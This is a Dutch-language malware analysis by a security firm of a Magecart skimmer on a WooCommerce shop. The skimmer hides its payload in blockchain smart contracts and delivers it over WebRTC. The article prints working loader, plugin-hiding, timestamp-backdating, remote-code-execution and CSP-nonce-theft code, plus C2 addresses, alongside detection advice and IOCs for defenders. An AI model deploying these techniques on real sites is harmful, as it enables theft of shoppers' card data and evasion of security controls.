De spookskimmer: Magecart met blockchain-opslag en WebRTC-aflevering
Artikelinhoud
Team DEFION Security analyseerde een Magecart-skimmer waarvan de kwaadaardige code nooit op de server van de gecompromitteerde webshop stond. Hij leefde in onveranderlijke smart contracts op een publieke blockchain en werd afgeleverd aan de browser van het slachtoffer via een versleuteld WebRTC-kanaal, aangestuurd door een externe C2. Resultaat: onzichtbaar voor malwarescanners, FIM, WAF's en domein-/IP-takedowns.
Tijdens een recent forensisch onderzoek naar de compromittering van een webshop (WordPress + WooCommerce) analyseerden we een web skimmer die bijna elke aanname doorbreekt waarop klassieke Magecart-verdediging is gebouwd. De code die de kaartgegevens van klanten stal, heeft nooit, geen enkel moment, op de server van de webshop gestaan. Hij leefde in onveranderlijke smart contracts op een publieke blockchain en werd afgeleverd aan de browser van het slachtoffer via een versleuteld WebRTC-kanaal, bediend door een externe C2.
Het resultaat is een skimmer die onzichtbaar is voor malwarescanners, file integrity monitoring (FIM), WAF's, HTTP-verkeersinspectie en zelfs analyse van de omvang van serverresponses. En als bonus voor de aanvaller: een deel van de infrastructuur is in de praktijk onmogelijk uit te schakelen.
Dit artikel ontleedt de vierlaagse architectuur van de skimmer, legt uit waarom elke ontwerpkeuze gericht is op het omzeilen van een specifieke controle, en toont wat er wél sporen achterlaat, en hoe je daarop kunt jagen. Alle gevoelige gegevens in deze zaak zijn geanonimiseerd; de indicatoren van de infrastructuur van de aanvaller worden gepubliceerd vanwege hun waarde als threat intelligence.
Het probleem met Magecart "zoals we het kennen"
Een web skimmer (of Magecart-aanval) is kwaadaardige JavaScript die in een webshop wordt geïnjecteerd en vastlegt wat een koper typt, doorgaans kaartgegevens, om dit later te exfiltreren naar een server van de aanvaller. De "klassieke" variant injecteert deze JavaScript op een van deze manieren:
- een
<script>-tag in de checkout-HTML, - een tag in een tagmanager (Google Tag Manager en vergelijkbaar),
- een .js-bestand gehost op dezelfde server of op een domein van derden.
Ze hebben allemaal één eigenschap gemeen waar verdedigers gebruik van maken: op een bepaald moment is de kwaadaardige code waarneembaar. Hij staat in de geleverde HTML, in de publieke JS van de site, in een bestand op de schijf, of in een uitgaand HTTP-verzoek naar een domein dat geblokkeerd kan worden. File Integrity Monitoring (FIM), server-side malwarescanners, verkeersinspecterende WAF's, Content Security Policy (CSP)-richtlijnen en domein-/IP-takedowns steunen allemaal op deze waarneembaarheid.
De skimmer die we analyseerden is laag voor laag zo ontworpen dat geen van deze aannames opgaat. Hij hoort bij een familie die de industrie sinds 2023 documenteert onder de naam Web3-skimmers met WebRTC-aflevering.
Overzicht: vier lagen van indirectie
| Laag | Component | Waar het leeft |
|---|---|---|
| 1 | XOR-lader (407 bytes) | WordPress-database (wp_options) |
| 2 | Smart contract #1 | BSC Testnet (0xAeF2...84F8) |
| 3 | Smart contract #2 | BSC Testnet (0xeED9...c999) |
| 4 | Frauduleus formulier | C2-server, via WebRTC (103.141.13.26:3479/UDP) |
Het onderliggende idee: de server van de webshop host alleen een minimaal, onbegrijpelijk fragment (de versleutelde lader van 407 bytes). Al het andere wordt tijdens runtime opgehaald van externe infrastructuur, en de laatste laag, die het slachtoffer daadwerkelijk ziet, reist niet eens over een inspecteerbaar kanaal.
Voordat we op de lagen ingaan, is het de moeite waard om te kijken hoe de aanvaller op de server kwam en hoe de lader werd geplant, want dat gedeelte liet wél waarneembare activiteit achter (achteraf gezien).
Laag 0: het toegangsvector en de nulled-plugin toeleveringsketen
Het meest waarschijnlijke toegangsvector was geen actief uitgebuite kwetsbaarheid, maar een illegale ("nulled") kopie van een commerciële plugin. Op de site bestonden twee opeenvolgende gemanipuleerde versies van een bekende WordPress-pagebuilder naast elkaar:
- Een eerste gecrackte versie, gedownload van een illegale plugin-repository (
wordpressnull.org), ongeveer een jaar aanwezig op de server vóór de actieve inzet van de skimmer. Deze belde servers van derden aan om de licentie te "valideren", typisch gedrag voor gemanipuleerde distributies dat vaak gepaard gaat met een achterdeur. - Een tweede gemanipuleerde versie, deze met een blok
/* Ultrapack Unlock */dat de licentievalidatie onderschepte en omleidde naar een activatieserver van derden (activations.ultrapackv2.com).
Het bedrijfsmodel is bekend: de distributeur van illegale plugins bouwt een achterdeur in, houdt maandenlang latente toegang tot de site en monetariseert die toegang op een bepaald moment door hem te verkopen of over te dragen aan een operator van skimming-campagnes. Het interval van een jaar tussen de installatie van de gecrackte kopie en de activering van de skimmer past precies bij dat patroon van "slapende toegang, latere monetarisatie".
Daarom is het belangrijk te begrijpen dat een nulled plugin niet "dezelfde plugin maar dan gratis" is. Het is een toeleveringskanaal dat wordt beheerd door een vijandige derde partij. En herinstalleren vanuit dezelfde bron tijdens incident response reinigt niet: het herinfecteert.
De inzet: 15 minuten automatisering op de server
Door tijdstempels in de database te reconstrueren (Unix-tijdstempels in wp_usermeta en in de opties van de skimmer zelf) blijkt dat de inzet van de actieve fase zich concentreerde in een venster van 15 minuten:
10:54 uninstall.php van een plugin -> PHP-achterdeur geactiveerd via cookie (wjxq_)
11:01 uninstall.php van een andere plugin -> tweede achterdeur (wjxq_)
11:07 aanmaak van twee rogue gebruikers (één admin, later gedegradeerd)
11:09 installatie van de valse installerplugin + het schrijven van de XOR-lader naar de database Vier onafhankelijke handelingen binnen vijftien minuten zijn geen handmatige installatie vanuit een browser, dat is server-side automatisering. De aanvaller had al codeuitvoering (via de achterdeur van de illegale plugin of een eerdere webshell). Een interessant detail over de achterdeurtjes: ze werden geïnjecteerd in de uninstall.php-bestanden van meerdere plugins, code die alleen wordt uitgevoerd bij het verwijderen van de betreffende plugin, wat de kans op detectie via handmatige controle minimaliseert, en werden geactiveerd met een specifieke cookie (wjxq_).
Laag 1: de lader van 407 bytes die niemand ziet
De installer is een valse WordPress-plugin met een header die legitiem oogt (met een onthullende typfout in de naam van de auteur). Hij implementeert vier gelijktijdige kwaadaardige functies, allemaal gericht op ontwijking.
1) Zelfverhulling van het beheerpaneel. Via standaard WordPress-filters verwijdert de plugin zichzelf uit de lijst met geïnstalleerde plugins en beschikbare updates. Hij is onzichtbaar in het paneel, ook al is hij actief:
add_filter('all_plugins', function($plugins) use ($base) {
if (isset($plugins[$base])) unset($plugins[$base]);
return $plugins;
}, 0);
add_filter('site_transient_update_plugins', function($value) use ($base) {
if (isset($value->response[$base])) unset($value->response[$base]);
return $value;
}, 0); 2) Terugdateren van tijdstempels. Bij activering voerde de plugin touch() uit op al zijn bestanden met een datum drie maanden vóór de werkelijke, om elke zoekopdracht naar "recent gewijzigde bestanden" te omzeilen:
register_activation_hook(__FILE__, 'trust_patch');
function trust_patch() {
$tdata = strtotime('-3 months'); // gaat 3 maanden terug
trust_dir(plugin_dir_path(__FILE__), $tdata);
} In de backup leken de bestanden te dateren van december 2025; hun werkelijke ctime was eind maart 2026. Als gevolg daarvan vond de eerste zoekactie naar geobfusceerde patronen (eval(base64_decode(...)), gzinflate, enz.) en recente bestanden niets: er was geen klassieke obfuscatie, en de datums verraadden de activiteit niet.
3) Verbergen van een rogue gebruiker. Via het pre_user_query-filter verborg de plugin een specifieke gebruiker (wiens ID in een andere database-optie werd opgeslagen) uit alle gebruikerslijsten en de REST API.
4) Dynamische skimmer-injectie. De kern. Alleen op de frontend (!is_admin()) en alleen als de vlag ia (is active) op 1 staat, haalt de plugin een versleutelde blob op uit de database, ontsleutelt deze met XOR en injecteert hem als inline script via de legitieme WordPress-API:
function woo_inc() {
if (!is_admin()) {
$mc_b = get_option('p_set', ['ia' => 0]);
if ($mc_b && !empty($mc_b['ia']) && isset($mc_b['ce'], $mc_b['dk'], $mc_b['de'])) {
$script = xor_decrypt($mc_b['ce'], $mc_b['dk']); // XOR, sleutel in 'dk'
wp_register_script('front_inc', '', explode(',', $mc_b['de']), $mc_b['lu'], true);
wp_enqueue_script('front_inc');
wp_add_inline_script('front_inc', $script); // geïnjecteerd op ALLE pagina's
}
}
}
add_action('wp_enqueue_scripts', 'woo_inc', 1); De versleutelde lader werd opgeslagen in een wp_options-optie als geserialiseerde PHP-array, met een compacte structuur:
| Veld | Betekenis | Waarde |
|---|---|---|
| ce | cipher encrypted (XOR-payload) | 407 bytes |
| dk | XOR-sleutel | c77d5cd5 |
| de | JS-afhankelijkheden | jquery |
| ia | is active | 1 |
| lu | last updated (Unix) | tijdstip van inzet |
Waarom 407 bytes belangrijk is. De injectie van 407 bytes via wp_add_inline_script() blijft binnen de normale variatie van de dynamische inhoud van een checkout-pagina (rond de 2.400 bytes). De klassieke truc om skimmers te detecteren via HTML-groei werkt hier simpelweg niet.
Eenmaal ontsleuteld, is de laag 1-lader deze JavaScript (407 bytes):
fetch("https://bsc-testnet-rpc.publicnode.com", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{' +
'"to":"0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8",' +
'"data":"0xe2179b8e"},"latest"]}'
}).then(r => r.json()).then(j => {
let h = j.result, l = parseInt(h.slice(66, 130), 16) * 2;
eval(h.slice(130, 130 + l).replace(/../g, c => String.fromCharCode(parseInt(c, 16))))
}) Kort gezegd: een eth_call naar een smart contract, decodeer het hexadecimale resultaat als ASCII, en eval(). De volgende laag leeft niet op de server.
Lagen 2 en 3: de blockchain als takedown-resistente opslag
eth_call is een methode van Ethereum's JSON-RPC API (en compatibele netwerken zoals Binance Smart Chain) die een smart contract-functie uitleest zonder een transactie of kosten te genereren. De lader gebruikt dit tegen twee contracten die zijn geïmplementeerd op BSC Testnet (het testnetwerk van Binance Smart Chain, chain ID 97).
Dat het de testnet is, is geen toeval, het is een kostenoverweging: testnet-contracten zijn gratis, publiek en onveranderlijk, precies zoals op mainnet, zonder echte cryptocurrency uit te geven. De aanvaller krijgt permanente, censuurbestendige opslag tegen nul kosten.
Contract #1 retourneert (Ethereum ABI-gecodeerd voor dynamische types) de laag 2-lader, die veerkracht toevoegt via een lijst van tot 8 publieke RPC-nodes met failover en het adres van contract #2:
const N = [ "https://bsc-testnet-rpc.publicnode.com",
"https://data-seed-prebsc-1-s1.bnbchain.org:8545", /* +6 andere nodes */ ];
const A = ["0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999"]; // contract #2
// ... doorloopt A via N tot er één reageert ...
let d = (await Promise.all(A.map(R))).join("");
let c;
if (d.startsWith("GZIP:")) { // gecomprimeerde payload
const b = atob(d.slice(5)), u = new Uint8Array(b.length);
for (let i=0;i<b.length;i++) u[i]=b.charCodeAt(i);
c = await new Response(new Blob([u]).stream()
.pipeThrough(new DecompressionStream("gzip"))).text();
}
if (c) (new Function(c))(); // voert laag 4 uit Contract #2 retourneert ~1,4 KB met een GZIP:-prefix en base64; gedecomprimeerd is dit ~2 KB JavaScript, de code die het WebRTC-kanaal opzet. Hier zijn al twee verfijningen te zien:
- Failover over 8 RPC-nodes: als een publieke node stopt met bedienen, blijft de skimmer werken. Er is geen enkel punt om uit te schakelen.
- GZIP-compressie op de blockchain: om opslagkosten te verlagen en het grep'en van de inhoud van het contract moeilijker te maken.
Waarom dit een hoofdpijn is voor verdediging. Een domein of IP kan geblokkeerd en gerapporteerd worden. Een contract op een publieke blockchain kan door niemand worden gewijzigd of verwijderd, ook niet door de auteur zelf of een gerechtelijke autoriteit. De "opslag"-laag van de skimmer is in de praktijk onverwoestbaar. Er blijft alleen ruimte voor actie op de RPC-nodes (die legitieme, gedeelde infrastructuur zijn) of op de server-side lader.
Laag 4: WebRTC-aflevering, waar de skimmer onzichtbaar wordt
Hier komt het echt slimme deel. De uiteindelijke payload (het frauduleuze formulier dat het slachtoffer ziet) wordt niet via HTTP gedownload. Hij komt binnen via een direct WebRTC-kanaal naar de C2.
De code is geobfusceerd om geen detecteerbare strings achter te laten: het IP van de C2 wordt rekenkundig gereconstrueerd en de namen van de API's zijn opgesplitst in fragmenten:
var rd=103, Ba3=141, UP=13, Mr=26;
var BVs = [rd, Ba3, UP, Mr].join('.'); // -> "103.141.13.26"
var uyP = 3479; // UDP-poort van de C2
var fPn = 'RTC'+'Peer'+'Connec'+'tion'; // -> "RTCPeerConnection" (vermijdt grep)
var qU9 = new window[fPn];
var CkX = qU9['create'+'Data'+'Channel'](location.href); De truc om geen signaleringsserver of STUN nodig te hebben: de code maakt handmatig een SDP-antwoord dat rechtstreeks naar de C2 verwijst als ICE-kandidaat, waardoor een DTLS/SCTP-kanaal via UDP naar 103.141.13.26:3479 wordt afgedwongen:
qU9['setRemote'+'Description']({
type: 'answer',
sdp: 'v=0\r\n...' +
'm=application ' + uyP + ' UDP/DTLS/SCTP webrtc-datachannel\r\n' +
'c=IN IP4 ' + BVs + '\r\n' +
'a=candidate:1 1 UDP 771594009 ' + BVs + ' ' + uyP + ' typ host\r\n'
}); De C2 stuurt het frauduleuze formulier in fragmenten via het datakanaal; zodra het kanaal sluit, voegt de skimmer de fragmenten samen en voert ze uit. Vóór uitvoering probeert hij een CSP-nonce te stelen van een legitiem <script> op de pagina om de Content Security Policy te omzeilen:
for (e5=0; e5<Vp.length; e5++)
if (Vp[e5].nonce) { // kopieert de nonce van een legitiem script
mf.nonce = Vp[e5].nonce;
mf.textContent = a3; // samengevoegde payload
document.head.appendChild(mf); // voert uit met geldige CSP
mf.remove();
return;
} De uiteindelijke payload is een pop-up "Billing Information"-formulier met een sectie "Card payment" die vraagt om naam en kaartnummer. Het bevat een onthullende fout: het veld heet "Cart number" in plaats van "Card number", een vingerafdruk die de auteur van de payload identificeert. Wanneer het slachtoffer het formulier invult, worden de gegevens geëxfiltreerd naar de C2 via hetzelfde versleutelde kanaal.
Waarom elke klassieke verdedigingsmaatregel faalt
| Verdedigingsmaatregel | Waarom hij faalt |
|---|---|
| CSP (script-src, connect-src) | WebRTC valt niet onder deze richtlijnen; de skimmer steelt ook een geldige nonce |
| WAF / HTTP-inspectieproxy | De payload reist via UDP (DTLS/SCTP), niet via HTTP. Er is geen verzoek om te inspecteren |
| Server-side malwarescanner / FIM | De uiteindelijke payload raakt de server van de webshop nooit |
| Analyse van responsomvang | De injectie is 407 bytes, ruim binnen de normale checkout-variatie |
| Domein-/IP-takedown | Lagen 2-3 leven op een onveranderlijke blockchain, met failover over 8 RPC-nodes |
| Netwerkanalyse | Versleuteld DTLS-kanaal, geen leesbare URL's, C2-IP rekenkundig gereconstrueerd |
| Stringzoekopdracht (grep) | API-namen opgesplitst ('RTC'+'Peer'+...), GZIP-payload binnen het contract |
Geen gerichte aanval: een campagne op industriële schaal
Het detail dat dit incident het beste in perspectief plaatst: de bytecode van contract #2 is identiek aan die van 61 andere contracten op hetzelfde netwerk, allemaal geïmplementeerd vanuit hetzelfde deployer-adres. Dit is geen ambachtelijke aanval tegen één slachtoffer, het is infrastructuur voor een campagne op schaal, waarbij elk contract dezelfde WebRTC-lader kan bedienen voor een andere gecompromitteerde webshop.
Wat WEL sporen achterlaat: detectie en hunting
De skimmer is onzichtbaar in de browser en in het verkeer, maar zijn installatie en persistentie op de server zijn waarneembaar. Als je WordPress/WooCommerce-webshops beheert of verdedigt, is dit waar je op moet jagen:
In de database / WordPress:
- Verborgen plugins: vergelijk de lijst active_plugins in de database met wat het beheerpaneel toont. Een plugin die actief is in de database maar niet zichtbaar in het paneel is een direct waarschuwingssignaal.
- Verdachte wp_options-items: geserialiseerde arrays met velden zoals ce/dk/de/ia, of generieke, ondoorzichtige namen (p_set, c_set). Een binaire blob in een WordPress-optie is niet normaal.
- Spookgebruikers: gaten in de auto-increment-reeks van wp_users, of verweesde metadata in wp_usermeta zonder overeenkomstige rij in wp_users (gebruikers aangemaakt en vervolgens verwijderd).
- Achterdeurtjes in "stille" bestanden: code in uninstall.php-bestanden van plugins, of ongewone cookiecontroles (bijvoorbeeld een activatiecookie zoals wjxq_).
Client-side / runtime-monitoring (RUM):
- Aanmaak van een RTCPeerConnection op een checkout-pagina die geen legitieme reden heeft om WebRTC te gebruiken. Dit is waarschijnlijk het meest betrouwbare signaal: instrumenteer de browser om te waarschuwen wanneer WebRTC verschijnt waar het niet zou moeten.
- Fetch/XHR-aanroepen naar blockchain RPC-nodes (*.bnbchain.org, publicnode.com, enz.) vanaf een e-commercepagina. Er is geen legitieme reden waarom een checkout zou communiceren met een BSC RPC-node.
- Onthoud dat SRI en CSP niet voldoende zijn: SRI dekt geen inline-geïnjecteerde scripts, en CSP beperkt WebRTC niet. Effectieve bescherming hangt af van het monitoren van client-side runtimegedrag.
Op het netwerk:
- Uitgaand UDP-verkeer naar atypische poorten volgens een WebRTC-patroon maar zonder legitieme STUN/TURN-server, afkomstig van checkout-sessies.
Indicatoren van compromittering (IOC's)
De klant is geanonimiseerd; deze indicatoren behoren tot de infrastructuur van de aanvaller en worden gepubliceerd vanwege hun waarde als threat intelligence. Ze zijn onafhankelijk en reproduceerbaar te verifiëren (de contracten, op elke BSC Testnet RPC-node).
Infrastructuur van de aanvaller
- C2-/WebRTC-server:
103.141.13.26:3479(UDP) - Domeinen:
systmshield.com,init.systmshield.com - Smart contract #1 (BSC Testnet):
0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8 - Smart contract #2 (BSC Testnet):
0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999 - Bytecode van contract #2 identiek aan 61 andere contracten van dezelfde deployer (campagne op schaal)
Op de gecompromitteerde server
wp_options['p_set']/['c_set'](met ia=1): de XOR-lader van de skimmer (frontend/admin)- XOR-sleutel van de lader:
c77d5cd5 - Activatiecookie voor de PHP-achterdeurtjes:
wjxq_ - Plugin verborgen via het
all_plugins-filter: de installer van de skimmer - Achterdeurtjes in
uninstall.phpvan plugins: PHP-persistentie - "Cart number" (typfout): vingerafdruk van de auteur van de frauduleuze payload
- Waarschijnlijke bron van de initiële compromittering: nulled kopieën van een WordPress-pagebuilder via wordpressnull.org en activations.ultrapackv2.com
Redactionele opmerking: dit artikel is gebaseerd op origineel forensisch onderzoek van Team DEFION Security. Alle gegevens van de getroffen klant zijn geanonimiseerd.
Vermoedt u een skimmer of vergelijkbare compromittering in uw webshop?
Ons Incident Response-team voert forensisch onderzoek uit, identificeert indicatoren van compromittering en helpt bij herstel en remediatie.
Neem contact op
®